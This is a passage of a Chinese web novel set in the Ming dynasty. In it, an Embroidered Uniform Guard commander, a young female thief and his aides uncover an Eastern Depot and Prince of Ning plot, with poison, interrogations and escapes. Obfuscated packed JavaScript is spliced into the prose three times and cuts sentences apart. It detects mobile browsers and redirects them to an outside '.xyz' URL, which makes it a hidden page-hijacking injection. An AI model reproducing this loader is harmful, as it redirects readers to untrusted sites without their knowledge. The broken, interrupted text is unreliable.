梁若鸢眸色一沉,指尖沾了清水,将没擦干净的血迹又擦了擦,聂未晨皮肉绷紧,一声不吭,额角渗出冷汗。 “很疼的,东厂的人真阴毒,明明都是朝臣,竟下次毒手。”她碎碎念叨,手上动作不停。 “……嗯。”他嗓音低哑,似没什么可说。 “曹化成是要杀你?” 聂未晨沉默片刻:“大概是警告……” 梁若鸢看他一眼,将药粉倒在他伤口处,“看来贪赃枉法的事情,曹化成没少做。” 她指尖沾了药粉,轻轻在他伤口上按了按,聂未晨猛地绷紧脊背,呼吸一滞,指节攥得发白,额角的汗顺着脸颊滑落。 “忍着点。”她低声道,手上力道渐加,将药粉一点点按进伤口深处。 聂未晨额角青筋微跳,死死咬着牙,梁若鸢瞥他一眼,轻笑:“大人硬气。” 聂未晨闭了闭眼,“算轻的。” 梁若鸢手一停,没再说话,指尖沿着伤口边缘缓缓涂抹,动作轻了些,最后用干净布巾包扎好。 “毒暂时压住了,但大人还是找大夫看看的好。”她收好药瓶,淡淡道。 聂未晨渐渐缓过痛来,低声道:“……多谢乔姑娘。” 梁若鸢站起身,抱臂看他,挑眉道:“大人,你平日审犯人时,犯人有这么乖吗?” 聂未晨抬眸,对上她戏谑的目光,唇角微不可察地扬了扬:“……乔姑娘比诏狱的刑具管用。” 梁若鸢嗤笑一声,转身去倒茶,背对他:“下次再逞强,可要记得命要紧,人要活着才能有出路。” 聂未晨望着她的背影,眸色渐深,低声道:“……好。” 窗外树影婆娑,在窗上描出一副墨画,暗处有人影闪过,梁若鸢目光一顿,寒光乍现,“看来还是有人敢偷指挥使家的。” 聂未晨缓缓握住枕边绣春刀,低笑道:“也不是个个都能偷。” “看来,今夜的审讯还没结束哟。”她轻声道,玩乐一笑。 黑影破窗而入,三枚穿骨钉朝聂未晨咽喉射去,聂未晨侧身横刀,寒刃与暗器撞出火星,铁钉转向钉入一旁梁柱中。 梁若鸢足尖一点,如鬼魅般掠至刺客身后,“干什么不好,偏干这个?”她自颈后将刺客按下,使力一推,袖中划出一柄短刀,“老实点儿。”防身用的短刀有些发抖,抵在他颈侧。 刺客跪倒在地,聂未晨披衣起身,一步步走进,飞鱼服暗鲮泛起幽光,“鄱阳湖里是不是藏了银子?”他扯下刺客的面巾,金线刺绣的雁羽标记是宁王死士的图腾。 绣春刀寒光幽蓝,刀尖不触皮肉,自刺客颈前划过,“现在说,能死得痛快些。” 梁若鸢看在眼里,正想着些坊间传闻的可怖的审讯手段,门外传来机括响声,聂未晨眸中骤冷,手中刀刃翻起,一枚袖箭穿入了另一刺客的右肩,几名亲兵从门外追来,钢刀架在刺客的颈上,个个怒喝:“跪下!” 聂未晨将绣春刀反握在手:“拖下去,去后厨取点儿盐来。” 亲兵将刺客押起,梁若鸢慢慢吐了口气,双手还有些抖,聂未晨目光自她双手掠过,走近取下她一枚发簪,“借乔姑娘簪子一用。” 梁若鸢微微一退,扶了扶自己的发髻,“啊?……可贵了,你得赔我,洗洗我也不要了。” 聂未晨将发簪握在手中,“库房里,乔姑娘自取便可。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762584|174447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他提刀出门去,梁若鸢站在原地愣住,听着他脚步声消失,自语道:“这么爽快?捞不少吧?” 她循着来路回自己房中,后院柴房里传来一声嚎叫,她吓得停住:“看来名不虚传啊……” 聂未晨将盐粒倒入掌心,慢慢碾碎,“别急……别急……这还有……”盐粒自他指间簌簌落下,如细雪飘落,“最后再问一次,二位听清楚了……” 他嗓音压得温雅,似只是与人交谈,“谁……派你们来的?” 一刺客啐出一口血沫,狞笑道:“指挥使何必废话,要杀便……” 话音未落,聂未晨将盐狠狠按进他右肩箭伤里。 “啊——!!” 惨叫声穿破夜色,梁若鸢险些绊倒,扶了廊柱站住,“不对不对不对……他让我去库房里拿东西,那若真丢了什么不就算我头上了?不行不行不行……” 后院灯火朦胧,梁若鸢穿过小径檐廊推开了柴房的门,“大人!我来帮你!” 两名刺客手脚筋皆已挑断,梁若鸢看了一眼木桌上染血的银簪,显然,是用簪子挑的…… 聂未晨未料到她会回来,她本该去库房里翻东西才对,他双眼瞠大,目光在她身上转了一圈,“你来干什么?!” “那个……大人,我思来想去……”她看看地上两名刺客,又看着聂未晨笑了笑,手脚皆有些发颤,“我思来想去,想到个好法子,要不大人让我试试?” 聂未晨蹙眉疑惑,接过亲兵递来的帕子,将手上盐霜擦干净,“什么……法子?” 梁若鸢从腰间钱袋里取出一只瓷瓶:“人在江湖飘,怎能没有防身之物?”她将瓶中药粉倒在了两名刺客伤口处,看着他们混身痉挛,扭动哭号,“痒粉倒在伤口上,又痛又痒,还能持续大半天,大人也省力了不是?” 她眉一挑,似是炫耀,聂未晨眼底掠过一丝赞赏:“乔姑娘果然比昭狱的刑具好用啊……”他慢慢俯低身子,在刺客耳边轻声道:“现在想说了吗?” 刺客喉中溢出破碎的呜咽声,最后还是忍不住嚎哭起来,“宁王!是宁王!” 院外传来纷乱的脚步声,数十东厂番子将柴房门外小小的院落团团围住。 为首之人笑得阴冷:“聂指挥使夜审刺客,怎不通知咱家?何人如此大胆啊?” 聂未晨将梁若鸢挡在身后,绣春刀归入鞘中:“曹公公来得正好,此人刚刚招供,是奉宁王之命要将本官灭口。” 曹钦脸色骤变,梁若鸢眼珠一转,扮作女妓姿态,揽了聂未晨脖颈,半挂在他身上,娇声道:“大人……这人奴家见过,他说……鄱阳湖有艘船,藏着金账目,宁王府……是金子做的~” “臭婆娘给我住口!”曹钦暴喝,袖中暗器飞出。 聂未晨将她抱紧,身形闪过,绣春刀挡回三枚穿骨钉,门外老槐树发出三声闷响,微微晃了晃。 “曹公公……”他刀尖垂下,将梁若鸢推至身后,“您是要灭口吗?” 更鼓五响,梁若鸢再熟不过:“五更了。” 房顶落下数十锦衣卫,弩箭寒光如天星耀目。 5. 鄱阳银船 “东厂曹钦勾结宁王,收押待审!”聂未晨一声令下,锦衣卫齐声应是。 曹钦面目狰狞,忽然大笑:“聂未晨!你这地下爬出来的老鼠!以为你赢得了在天的飞龙吗?!你做梦!鄱阳湖底二十万两白银早已不在了!咱家看你拿什么作证?!一个女妓吗?!哈哈哈……” 梁若鸢发现他口中藏了毒,正要上前,聂未晨已见他眼角落出血来,转身将她抱住:“闭眼。” 曹钦全身轰然炸开,血肉飞溅,毒烟在院中弥漫,聂未晨抓起她的手,按在她的鼻唇上:“别透气。” 她腰间一紧,聂未晨带着她跃上柴房对面的屋檐,院子里只剩下大片发紫的浓烟,锦衣卫的身影在一片迷蒙中跃起,纷纷落在房顶上。 蓝羽在不远处与聂未晨相望,梁若鸢看着他们相□□了头。 “这也太狠了吧……”她轻声叹道。 天际渐渐亮起,聂未晨将半块飞鱼符塞在她手里,“乔姑娘可愿与我同去鄱阳一趟?” 青铜符冰冰凉凉,梁若鸢拿在手里把玩了一番,“大人这是聘我当差?” “鄱阳湖,银船,账本……”他低声与她说道,“乔姑娘敢不敢去看看……宁王府到底是不是金子做的?” 梁若鸢心里盘算了一番,大买卖啊!跟了! 她将半块鱼符握在手中,“好,但说好了,大人需付我酬劳,虽说是铲奸除恶的好事,但大人拿的是赏赐和俸禄,总不能要我一个小老百姓只做贡献。” “乔姑娘想要多少,只管说就是。” …… 诏狱刑房阴暗潮湿,血腥与铁锈味混杂在一起,燕十推开铁门,火把映照出周文焕被吊在刑架上的身影。 他浑身是伤,十指血肉模糊,却脊背挺直,拒不开口。 “周大人,招了吧。”燕十指尖敲了敲案上的账册,“其余的银子,你到底去哪儿了?” 周文焕咧嘴一笑,血沫从嘴角溢出,似哀似痛:“算了……燕大人,你们翻遍户部公文,不如去查查工部的河工批文……” 话音未落,刑房梁上寒光掠过,三枚穿骨钉朝周文焕飞出。 “有刺客!”燕十斩落两枚穿骨钉,肩胛处不甚钉中一枚,他咬牙忍痛,瞥见阴影中窜出三名蒙面人,刀法狠辣,招招直取锦衣卫要害。 地牢刑房一片混乱,一名刺客趁乱甩出狼牙鞭缠在周文焕颈上。 燕十扫过一眼,反手掷刀,刀光瞬间穿透刺客胸膛,可周文焕已面色青紫,喉骨已碎。 燕十一把撑起他下坠的身子:“周文焕!谁指使的?!” 周文焕双眼大瞠,已烂手指在燕十肩上划出四道血痕:“鄱……阳……银……船……” 周文焕气绝身亡,燕十猛地回头,锦衣卫将最后一名刺客活擒,发现他竟佩有锦衣卫龙纹牙牌。 他咬碎口中毒囊,含血冷笑,似是解脱:“燕大人……银船过鄱阳时……记得看看船底……” 次日,申时,三法司忽然会审周文焕暴毙一案,聂未晨刚到,工部尚书徐有贞便派人呈上了“周文焕认罪书”。 东厂督主曹化成早早赶来,以锦衣卫牙牌为证,当庭指证燕十“刑讯致死”,谋害朝廷命官。 燕十单膝跪地,飞鱼服下摆金墨相映,肩头金线还泛着血色。 曹化成蟒袍玉带,兰花指捏着一枚穿骨钉,凝视上面的血迹,尖声喝道:“燕大人,这枚从昭狱刑房找到的暗器,为何刻着你的‘燕’字?!” 堂下一片哗然,燕十还未开口,聂未晨拍案而起,绣春刀出鞘三寸:“那分明是东厂的‘穿骨钉’!曹公公这是要栽赃?!” 曹化成阴笑一声,拍手道:“带人证!” 两名东厂番子押上一名浑身是血的锦衣卫小旗。 那小旗混身直抖,抬手指向燕十:“是……是燕大人昨夜命我等灭口……” “你!”燕十目眦欲裂。 聂未晨二话不说,将绣春刀架在曹化成颈间:“曹公公,玩够了吗?” “聂大人这是要造反?”曹化成不慌不忙,展开黄绢,“陛下有旨,燕十涉嫌谋害朝廷命官,即刻收押!” “我看谁敢!”聂未晨刀光如练,劈碎了他手中黄绢。 堂外箭如雨下,数十名东厂箭手现身梁上,聂未晨旋身闪过,挥刀格挡,曹化成袖中寒光乍起,一柄短剑淬了毒,瞬间刺入他脊背后心。 “大人!”燕十奋起夺剑,东厂番子趁机将铁链套上了他的脖颈。 聂未晨踉跄转身,反手一刀将锁链劈断:“走……去鄱阳……” 曹化成尖笑:“拿下!” 番子们一拥而上,聂未晨刀光过处,东厂番子纷纷倒下,一番缠斗,他脚下忽然失力,单膝跪下,以刀杵地,“快走!” 他奋力起身奔向燕十,扯下腰间半块飞鱼符塞进他怀中,低声道:“找乔……” 话未说出,几个番子便将他压倒,两把铁钩穿入了他的肩胛。 背后剧痛传来,他将燕十推开,染血的手在青砖上划出几道歪曲的血痕,燕十看出了那是个“乔”字。 梁若鸢醒来坐在东厢房院子逗弄路过的猫儿,蓝羽扶着几乎扶不住的燕十朝她而来:“乔姑娘!乔姑娘!” 梁若鸢愣愣站起来,看着二人不知如何反应比较合适:“二位大人这是……” 燕十混身染血,跑得气喘吁吁:“乔姑娘,东厂将大人扣下了,大人昏过去前,让卑职来找你,大人可曾留下什么?” “啊?!留……留下……”梁若鸢脑中一片空白,一时间什么也想不起来。 蓝羽急道:“姑娘收拾一下,边走边想,东厂的人随时都会追来,我们必须快些离开。” “哦……哦……好,我这就去收拾东西。”梁若鸢忙回到屋里,妆台上半块飞鱼符入了她的眼:“难道……”她将铜符收进衣襟里,抓起钱袋打开看了看,微微一笑。 三人遣散府中亲兵,从后门离开,梁若鸢低声问道:“我们去哪儿?” 蓝羽将燕十架紧,蹙眉想了想:“先找个落脚的地方,姑娘可想起什么没有?” 梁若鸢摇了摇头:“没有,你们跟我走吧?我知道个藏身之处。” 两个锦衣卫相视一眼,点头道:“好,有劳姑娘了。” 她打量他们一番,似无异处,倒是真的落难的模样:“跟我来。” 三人避街走巷,绕过民居商铺,从墙角小路钻进了大功坊民宅一带。 “乔姐姐!”一孩童看见她便喊,引来了众多目光。 大人瞧见锦衣卫,忙将那孩子拉进屋,“砰”地将门关上。 那日送信找聂未晨的小哥怯怯靠近,问道:“若……” 还未出口,梁若鸢瞪了他一眼,他改了一下,道:“乔乔……这两位是……” 梁若鸢摆了摆手,“这两位打架打输了,需要帮托,你也看到了,锦衣卫,这人情可是卖得的。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762585|174447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “锦衣卫?” “锦衣卫?” 人人相顾不语,也不敢随便走动,小哥又道:“那……如何卖……啊?” 梁若鸢摆了摆手:“就给个住处就行……”回头看了看燕十,又道,“再给两身衣裳。” 远处一彪形大汉招了招手,“来!我这儿有地方!二位官爷若不嫌弃,到我这儿来就是!” 蓝羽高声道:“多谢!那就叨扰诸位了!” 围观者散去,难免有些战战兢兢,梁若鸢将他们送到那大汉家中,颇熟路数,掏了几枚银子塞在他手里,“张大哥快意,这是伙食,走时再结房钱,劳您照顾了。” 张大哥不客气,一把收了钱,“乔姐有事说话,我能办则办,办不了就没办法了啊!” “诶!大哥仗义!”梁若鸢在他臂上一拍,颇熟的样子。 蓝羽扶着燕十坐下,张嫂端了水来,“二位官爷定是遇到麻烦了,喝杯水,歇会儿。” 两人接下水杯,齐声道谢,梁若鸢站在一旁,看他们喝了口水,像是喘过气来的模样,将张大哥夫妻二人请了出去,关了门。 “二位,聂大人昨夜给了我这个。”她将半块飞鱼符递给了燕十,“大人说让我跟他去鄱阳,别的就没什么特别的了。” 燕十将怀中半块飞鱼符取出,与梁若鸢那块拼在一起,铜符机关响了一声,弹出一卷桑皮纸。 蓝羽将纸取出,小心展开,在桌上将几张纸条拼在一起:“鄱阳水师的布防图?!” 燕十瞪大了眼睛,“大人何时弄到的?” 蓝羽满目皆疑,梁若鸢走近看了看,确是完整的布防图,问道:“他可还有说什么?” 燕十看着梁若鸢想了想:“大人好像也叫我去鄱阳。” “鄱阳湖,银船,账本……”她想起聂未晨夜里对她说的话,忽而一笑,“那就不用叨扰张大哥了,明日便出发,找艘船,去鄱阳。” 入夜,三更梆子响过,梁若鸢坐在自己房顶上,钱袋充实,暂且不想做事,她望着星月,哼起小曲来。 一曲唱罢,她低眸思量:“也不知鄱阳是何境况……” 蓝羽从张家瓦房中开门走出,一身平民衣裳难掩他挺拔身形,梁若鸢远远看见,跟在他身后不远处。 两人先是到了聂府,发现东厂番子还在监视聂府的动静,四面八方皆有人把守,梁若鸢正想上前喊他,却见他绕了路离开。 琉璃厂废墟浸在月色中,蓝羽轻步慢走,四处皆是残垣,锦衣卫乌金软靴踏过焦木,不染纤尘。 他蹲身拂开瓦砾,忽闻身后风响,梁若鸢声似沾蜜,“蓝大人这是夜猫也来偷食?” 蓝羽反手甩出三枚飞镖,旋身亮刃:“乔姑娘又在此处做什么呢?” 梁若鸢敏捷躲闪,刀光照见两人之间一滩灰烬中半页焦黄的纸页,“工部河工银二十万两转宁王府长史司”字样一侧朱印残缺,可依稀辨出是徐有贞的私印。 梁若鸢收刀:“看来我们来对地方了。”她踢开脚边尚有余温的炭灰,“这火,应是半个时辰前放的。” 蓝羽用刀挑开账册下一页,纸上字迹有血迹斑驳:“鄱阳船底夹层”字迹后半截已化作灰烬。 他抬眸望向梁若鸢:“看来乔姑娘不是一般姑娘。” 远处传来脚步声,梁若鸢示意他噤声,拾起灰烬中的残页,拉他躲进一旁残垣中。 东厂番子提灯而来,红色灯笼在夜色中犹如鬼火飘摇。 6. 青蚨引血 梁若鸢将账册残页塞入怀中:“我们走。” 蓝羽犹豫片刻,紧跟着她,两人回到大功坊,途经一处带有“水火墙”的别院,临近的军器局早前不知为何炸了,如今废墟里似有脚步声? 蓝羽停住细听:“见鬼了?” 月淡灯昏,梁若鸢指尖擦过似是焦黑的砖墙,捻了一抹粉末,看不清颜色,凑近闻了闻:“鄱阳湖特产的青岗石,用来稳定火药的。” 蓝羽眸色一冷,绕路翻了进去,借着疏淡月色,他在残破的熔炉旁细看了一番,似有一块砖石较旁侧更松动,他想了想,以刀尖撬开。 砖石底部暗槽露出半截图纸,他拿起看了看,摸着边沿似有烧焦的痕迹。 梁若鸢拍了拍他的肩,指向灯亮处,两人于灯下再看:“佛朗机炮的改良图纸?!难道宁王和工部在私造火器?!” 房外传来铁靴纷沓声,两人忙躲入阴影处偷望,数十东厂番子提灯而来。 “走。”梁若鸢低声道。 她伏低身子,刚出几步,蓝羽朝反方向射出一枚袖箭,只听不远处一声撞响,东厂番子皆转了方向,急急朝响声一带跑了过去。 两人趁机翻过断墙,落入徐氏祠堂中,一面面牌位泛着阴森冷光,梁若鸢转头一看,吓得险些跌倒,“这是什么地方?!” 蓝羽侧目一眼,解释道:“哦,这是徐有贞家的祠堂。” “徐有贞?”梁若鸢忽然不怕了,走进堂中上了三柱香,算是打个招呼…… 她一块块牌位细看:“都是大人物啊……” 供桌第三块灵牌的位置似与旁的灵牌不同,她上前摆了摆,本想摆正,发现是固定的:“这……”她各个方向试了试,“咔哒”一声,灵牌下方一处暗格弹开,一卷账册静静躺在里头:“这是掉馅儿饼了?” 她拿起转身,与蓝羽一同查看:“蓝大人,这好像是工部的东西?” 蓝羽点了点头,“徐有贞也算会藏东西了,竟……” 院子大门轰然撞开,曹化成阴笑着跨入门槛内,身后番子刀光森寒:“二位,夜闯私祠可是死罪。” 蓝羽踢翻长明灯,火油泼洒,烈火窜起的一瞬,他拉起梁若鸢正要逃跑,脚下却似踩了什么机关,一块地砖陷了下去,之后数块砖石便开始纷乱挪动,两人脚下瞬空,一同滑入一个地洞中。 两人顺着滑道,好不容易到了底,梁若鸢揉着摔痛的腿脚爬起身来,发现是一条地下甬道,各处阴暗潮湿,墙上痕迹一看便是新凿的。 蓝羽站起身来,试探着往前走,一处光亮渐渐出现,他拉着梁若鸢蹲下,冷笑一声。 梁若鸢凭着直觉看了看方向:“这里往上走应是永昌钱庄了。” 几名力工正将木箱搬上小船,蓝羽紧紧盯着:“他们用钱庄作掩护,把官银从密道运到秦淮河……” “嘘……”梁若鸢指尖按在他嘴上。 不知是不是听见声响,几名力工皆朝他们所在之处看了看。 木箱缝隙露出一把火铳的铳管,梁若鸢咂舌道:“难怪银子不见了,都溶成兵器了。” 一声哨响,那些力工忽然抽刀扑来,蓝羽甩出袖中飞镖,拉起梁若鸢且战且退,“乔姑娘当心了!” 梁若鸢与他背对背:“你我这回也算过命的交情了,回头记得跟你们大人说我点儿好话,我可要多领点儿赏钱。” 两人逃至出口,钻进河畔芦苇中,梁若鸢将账册其中关键页撕下,卷起,塞进蓝羽衣襟里:“分头走!”她将剩余的账册塞在自己怀里,又道:“你走水路,我去引开他们,你是锦衣卫,拿着这个便可办事快些。” 蓝羽一把将她拽住:“等等!你看!” 河面一艘官船驶近,他们清楚地看到徐有贞与一名胡将密谈,那胡将留着络腮胡,腰间的犀角带隐约可见宁王府的标记。 梁若鸢低声道:“所以,工部、东厂、宁王,是一伙儿的?” 蓝羽回头望见火把如龙:“可曹化成没在船上……不论如何,我们先回去再说。” 芦苇随风荡开,梁若鸢目光落在丛中一叶小舟上,笑道:“不如我们上船看看。” …… 聂未晨昏迷不醒,知觉中身子寒冷飘摇,各处都在发痛。 耳边有河水拍打船板的声响,他在梦里回到了那年冬天,河间府衙粮仓外,官差将他吊在刑架上,脊背一阵阵地刺痛,凝着密密麻麻的血冰。 官差的嗤笑声传来:“小贼骨头真硬,说!同伙在哪儿?!” 他咬紧牙关,从头到尾一声不吭,县太爷摆了摆手:“扔出去吧,横竖活不过今夜。” 荒郊积雪过膝,他且爬且走,城外有一处荒废的馆驿,那里还有些他藏好的火石和干粮,他一心想要活下去。 他左手三指冻得青紫,意识模糊,眼前停下一架宽大的马车,车帘子掀起,跑出一个毛绒绒的小人儿来:“阿爹!这儿有个血人!” 小姑娘眼眸晶亮,似天边的星子,她跳下车,解下自己的狐裘盖在他身上,又将自己的汤婆子放在他冻裂的手里:“阿爹,他没死,他眼里有火!” 车上男人身着青色圆领官袍,袍上绣有鹭鸶,他叹了口气,命马夫将他扛上了车。 火盆边,小姑娘掰碎了炊饼一点点喂给他,将小小的狐裘裹在他身上,“没事了,你会好起来的。” 她带他进了城,将他安置在城中一处客栈里,每日来看他,看着他一点点好起来:“你叫什么名字?”那日她忽然问起。 他摇了摇头,他才发现自己没有名字。 他知道自己在襁褓中便被弃于保定府城隍庙前,是一个老乞丐将他捡回抚养,而那老乞丐叫什么他至今也不知道。 他跟着他流浪,一路长大,随流民乞讨,混迹市井,练就了一双“鬼手”,能于闹市解人钱袋而不惊,亦擅撬锁翻窗。 瘸腿的老乞丐冻死后,他便独行千里,沿途偷窃为生,直到那日…… 小姑娘望着他,懊恼苦思一番,道:“往北走三百里,阿爹说那里在征兵。”她将身上半枚鱼佩放在他手里,“要是活下来了,拿着这个到苏州府找我,我住通判大人家。”她扬了扬眉毛,很神气。 她跑跳着往房门口去,回头又道:“我要走了,你莫再偷东西了,我从阿爹那里给你要了个身份,就在玉佩里,你从今日起,便叫聂未晨了,阿爹说是‘天将明’的意思。” 玉佩里有一份家丁的身契,他那日带着身契投了军,几年后,他以战功换了假,去过苏州府,通判家,可那里没有人,只有乱生的杂草,断掉的房梁,蛛网挂满了房檐。 之后他又查过,苏州通判卷入科场舞弊案,早已革职查办,家产抄没,家中女眷皆官卖为奴。 他黯然回到边关,一心征战沙场,屡次潜入蒙古部落,独斩两名鞑靼斥候,以他们的首级换得总旗衔。 那年冬天,大同府巡夜的兵卒围堵了一名盗取被贪军饷的女贼,他恰好率队经过,认出了她颈间半枚鱼佩:“此女乃我军中暗桩”。 他将她救下,巡夜兵便作罢,又将功劳给了他。 是夜,他将梁若鸢送出城外,将腰间钱袋给她,“姑娘莫再偷东西了,找个地方落脚吧。” 梁若鸢若有所思,片刻,毫不客气地接下,一笑:“多谢官爷,官爷定福大命大!” 他睁开眼,飘渺中听见船板摩擦的吱呀声,背后肩胛传来一阵阵刺痛,他强撑着起身,锁链重重地拉扯他的骨肉,他大概猜到了要去哪里,闭眼吐出一口气。 东厂新任提督韩大用的声音传来:“聂大人可曾听过‘青蚨引血,子母相寻’的佳话?” 他用铁钳夹着一枚青绿色的药丸前来,当着他的面在火把上烤了烤,药丸表面渐渐浮现出蛛网般的血丝,“这青蚨毒最妙之处,就是能让中毒者的血变成活物,一点一点啃噬自己的五脏六腑,特别妙。” 几个番子将聂未晨压住,强行将药丸塞进了他的嘴里,铜锈般的血腥味灌了他一嘴。 起初只是喉间微痒,三息之后他的脊背忽然一阵痉挛。 肩胛上的锁链“哗啦”作响,皮下似有无数蠕虫爬行,血似在脉管中沸腾暴走,他似听见自己的血在冒泡。 韩大用的笑声仿佛响在很远的地方:“听见了吗?你的血正在生小虫子呢。” 他剧烈地咳嗽,吐出的血沫里竟有米粒大小的青色虫卵,番子们用烧红的铁钎拨弄,虫卵爆出“噼啪”声,刺鼻的青烟徐徐升起。 “五脏如焚吗?比你昭狱如何?”韩大用拔出一柄匕首,划开了聂未晨的衣袖,看着他的手臂渐渐爬满青色支叉,“等这些血纹爬到心口,你大概就会看见自己的心跳出来……” 运河上薄雾一层,官船静静停泊在河心,两盏红灯笼挂在船头,雾气中,如同山兽的眼睛,忽明忽暗。 船舱底部,聂未晨蜷缩在角落里,毒性在他体内肆虐,他十指抠入木板的缝隙中,指节因着用力而发白,苍白的皮肤下道道青黑色似毒虫在皮下蠕动。 每一次心跳都带着剧痛,仿若千万根钢针顺着血脉游走,汗水浸透了他的衣衫和头发,在身下积成一滩水渍。 聂未晨咬破了嘴唇,血腥在口中蔓延,他模糊地记起韩大用临走前的狞笑:“这毒无药可解,你会看着自己的血慢慢变成毒液,最后从内到外融化成一滩血水。” 船身轻微晃了一下,聂未晨勉力抬头,隐约听见甲板上传来几声闷响,接着,有重物倒在地上。 船尾的阴影中,梁若鸢掠过水面,脚尖在船舷上轻轻一点,翻上了甲板。 两个东厂番子正打着哈欠巡视,未反应过来,她已贴近,击中了一人后颈,又顺了根船桨,砸了另一人的脑壳。 两个番子无声倒下,她将他们接住,拖到了阴影处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15762586|174447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “问到了,东厢房三个,底舱两个,船上没有银子,军火也不在这儿。”蓝羽从船舷另一侧翻上来,低声道,“徐有贞和韩大用都不在船上了,似都是去迎接曹化成了,这船要去鄱阳,不知大人是不是在舱底。” 梁若鸢点了点头,眼中闪过一丝狡诈:“蓝大人,你解决上面的,我去找找聂大人。” 蓝羽迟疑片刻,终究同意:“乔姑娘当心……” 话未说完,梁若鸢已入了船舱,动作轻盈如猫,每一步都踏在了不易发出声响的地方。 船舱内,血腥和腐气交杂,梁若鸢皱了皱眉,循着微弱的闷哼声到了最里间的牢房,门锁在她手中乖巧打开。 聂未晨躺在角落里,混身湿透,似皮肉痉挛,嘴角不断溢出一丝丝青黑的血。 他的衣襟不知怎的被撕开,胸前青色毒纹如同活物,正向心口位置一点点爬行。 “大人!”梁若鸢心下极怕,却还是上前将他身子推起,扶在自己怀里,“大人,大人你怎么了?”她看着青色的毒纹在他胸口一点点爬行,每爬一点都令他闷哼一声。 聂未晨死死抓住她的手腕,朦胧中撑起眼皮看她,扯了扯唇,似想笑又笑不出来,从牙缝中挤出字来:“杀……了我……” 他掌心滚烫,毒物似在他体内燃烧,她没有回答,从怀中取出一只银瓶,倒出了三粒朱红色的药丸。 “这是南疆灵药,很贵的,大人放心吞下。”她想将药丸塞入他口中,却发现他的牙关紧咬。 “啧,大人,要我拿钳子就不礼貌了啊。”她毫不犹豫,将药丸含在自己口中化开,以唇相就。 药汁随着吻渡入嘴里,聂未晨双眼睁开,梁若鸢从他的血里尝到了血腥与毒味:“啊……真苦!” 片刻,他稍稍缓了过来,可毒纹蔓延减缓,已至锁骨下方,梁若鸢将他扶起:“走,大人,我们快走。”她开了他背后锁链,将铁钩从他肩胛处拔出,血洞森然,她浑身战栗,咬了咬牙,使了全身力气将他架起。 舱外传来呼喊声:“有刺客!”“检查牢房!” 梁若鸢目光一凛,扶他到门后隐蔽处坐下,自己抽出短刃,侧身贴在门边,屏住了呼吸。 第一个番子进来还没看清状况,喉间已多了一道细如发丝的红线,她握刀的手紧了紧,呼吸都在发颤。 第二个番子进来举刀欲砍,她手腕一翻,短刃绕过了钢刀,刺入对方肩头,那番子整条手臂一下瘫软,钢刀落地。 “底舱有情况!” 喊声更近了些,蓝羽终于赶来,未有心思细问,背起聂未晨往外跑。 “大人,你会好起来的,坚持住。”梁若鸢紧跟着跑出去,一面跑,一面与他说话。 他们冲向舱壁一处窗口,那窗口仅容一人侧身通过。 梁若鸢扶下聂未晨,看蓝羽先爬出去,又将聂未晨一点点推出窗外,自己随后爬出。 窗下恰好是一尾救急的小舟,三人皆稳稳落在上面。 梁若鸢将两头绳索斩断,人随着小舟一同落入水中,蓝羽寻着暗处,将船划入河畔芦苇中。 官船上火光四起,有人大喊:“放箭!在那边!别让他们跑了!” 无数箭矢破空而来,梁若鸢将聂未晨抱住,背向飞来的羽箭,蓝羽手中绣春刀舞出一片光华,她听见箭矢纷纷落入水中。 小舟随水入了芦苇丛,梁若鸢借着月色检查聂未晨身上的毒纹,爬行速度确实减缓了些,可他仍旧呼吸微弱,眉心蹙紧,时不时发出闷哼声。 “青蚨毒已入心脉,寻常解药无用。”蓝羽知道东厂的把戏,一眼便看出端倪。 他从怀中取出一个囊袋,九根银针长短不一,整整齐齐藏在袋子夹层里,“先封住大人心脉大穴,我们才有时间想办法解毒。” 蓝羽手法娴熟,将银针刺入聂未晨胸口的几处穴道,每刺一针,他的眉心便更紧一些,第七针刺入时,他睁大了眼睛,一口黑血自他口中喷涌而出。 “忍一忍,最后一针。”梁若鸢抓起衣袖为他擦了擦,双臂将他抱紧。 最后一根银针刺入他心口上方,蓝羽手中针尖入肉三分,停住,轻轻捻动,聂未晨急促的呼吸终于平复下来。 毒纹如潮水般退去,他的呼吸逐渐平稳,梁若鸢长舒了口气,手在微微发抖。 蓝羽抓起船桨全力划水,聂未晨的脸苍白如纸,抓紧了梁若鸢的手。 他五指冰凉,却异常有力,声音哑到几乎听不清楚,“别走……不要再走了……”他艰难开口,吐字难辨。 梁若鸢没有听清,“什么?要吃肉?大人……那个……我跟你说啊,你只要活下来,肉管够!大不了我请客!” “大人是让乔姑娘别走。”蓝羽解释道。 梁若鸢疑惑道:“别走?!……我没走啊,软禁总比追杀好,大人不说放,我怎么敢走呢大人……” 7. 如您所愿 小舟只走暗处,慢慢摇向城中渡口,聂未晨呼吸静缓,似睡着了一般。 